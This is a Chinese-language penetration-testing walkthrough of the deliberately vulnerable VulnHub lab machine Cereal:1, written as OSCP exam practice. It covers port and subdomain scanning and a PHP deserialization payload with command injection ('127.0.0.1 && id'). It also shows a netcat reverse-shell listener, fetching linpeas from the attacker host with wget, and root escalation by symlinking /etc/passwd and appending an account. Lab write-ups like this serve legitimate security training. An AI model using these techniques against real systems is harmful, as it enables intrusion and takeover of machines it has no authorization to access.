【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

admin 2023年12月18日14:15:10评论26 views字数 2897阅读9分39秒阅读模式

---------------------------------------------------------------

本文题干阅读时间推荐15min,靶场练习推荐3h

----------------------------------------------------------------

 如果各位童鞋想讨论以下相关内容,欢迎关注公众号, 联系我:

  • OSCP相关技术备考中

  • CISSP备考经验已通过认证

  • CCSK(云安全)已通过认证

  • ISO/IEC 27001 Foundation已通过认证

----------------------------------------------------------------

一、前言

主要利用方式:深度的路径探测+子域名探测php序列化+RCE利用+NC反弹shell软链+passwd新增root权限账户

二、靶机信息

靶场: vulnhub.com靶机名称: CEREAL: 1难度: 中等发布时间: 29 May 2021下载地址:https://download.vulnhub.com/cereal/Cereal.ova

三、虚拟机配置

VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配攻击IP:10.0.2.7靶机IP:10.0.2.30

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

2探测靶机开放端口

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

3探测靶机开放端口相对应的服务

└─$ sudo nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sV -A 10.0.2.30

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

421端口FTP尝试,匿名登录,但未发现有啥文件

└─$ ftp 10.0.2.30Name (10.0.2.30:kali): anonymous

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

580端口web尝试,访问+路径扫描

http://10.0.2.30/

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

└─$ dirsearch -u http://10.0.2.30/


【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

6信息探测+收集

http://10.0.2.30/phpinfo.php

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

http://10.0.2.30/admin/

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

http://10.0.2.30/blog/

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

发现有些链接指向了http://cereal.ctf/这个域名,

7、绑定域名,再探测

└─$ sudo vi /etc/hosts

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

和以IP探测差不多

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

8、子域名探测

└─$ gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

Found: secure.cereal.ctf:44441 (Status: 200) [Size: 1538]

Found: Secure.cereal.ctf:44441 (Status: 200) [Size: 1538]  

9secure.cereal.ctf

将ip和host文件进行绑定后访问,80还是和主界面一样,

44441端口下存在了差异,新出现一个功能

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

10、抓包,解析

正常ping 127.0.0.1,发现存在反序列化相关的知识点

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

11、再去探测是否存在其他可参考的内容

gobuster 扫一下,发现个 back_en 目录

http://secure.cereal.ctf:44441/back_en/

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

继续探测路径,存在index.php.bak文件

└─$ dirsearch -u http://secure.cereal.ctf:44441/back_en/


【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

访问

http://secure.cereal.ctf:44441/back_en/index.php.bak

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它都会进入 if 块。该块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。PHP shell_exec 函数,这个函数允许在服务器中执行命令。所以在这里写入反弹 shell

12php反序列化漏洞

isValid 改为ture,执行测试,看反应

<?phpclass pingTest{    public $ipAddress = "127.0.0.1";    public $isValid = TRUE;}$obj = new pingTest();echo urlencode(serialize($obj));?>

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

再次执行127.0.0.1 && id

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

13、攻击机设置监听,靶机NC反弹shell

└─$ nc -lnvp 5555

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

靶机nc连接

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

升级交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"  执行失败

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

SHELL=bash script -q /dev/null  升级成功

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

五、权限提升

14、查找suid

[apache@cereal public_html]$ find / -perm -4000 -type f 2>/dev/null

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

15、攻击机搭建web目录,靶机下载linpeas.sh 文件,加以利用

└─$ python -m http.server 80

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

[apache@cereal public_html]$wget http://10.0.2.7/linpeas.sh


【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

linpeas pspy64 跑一下发现了一个由 root 运行的脚本:

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

无权限修改和执行,但这个脚本可以更改位于用户 rocky 的主目录中的文件public_html 内容的所有者,当前用户 apache 组,因此它可以访问目录中的文件。并且可以查看/etc/passwd的文件

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

用链接命令 ln,把 /etc/passwd 链接到 /home/rocky/public_html/* 下的一个文件,然后 /etc/passwd 文件就可以用 apach 用户修改:

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

16Vi /passwd失败,用echo 新增root权限的txx用户

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

17、获取flag ,验证IP

[root@cereal ~]# cat proof.txt

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

[root@cereal ~]# ip a

【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

-----------------------------------------------

本期靶场到此就结束啦,我们下期再见

--------------------------------------------------

走之前记得点个在看~【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

原文始发于微信公众号(从放弃到入门):【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日14:15:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习http://cn-sec.com/archives/2308924.html

发表评论

匿名网友 填写信息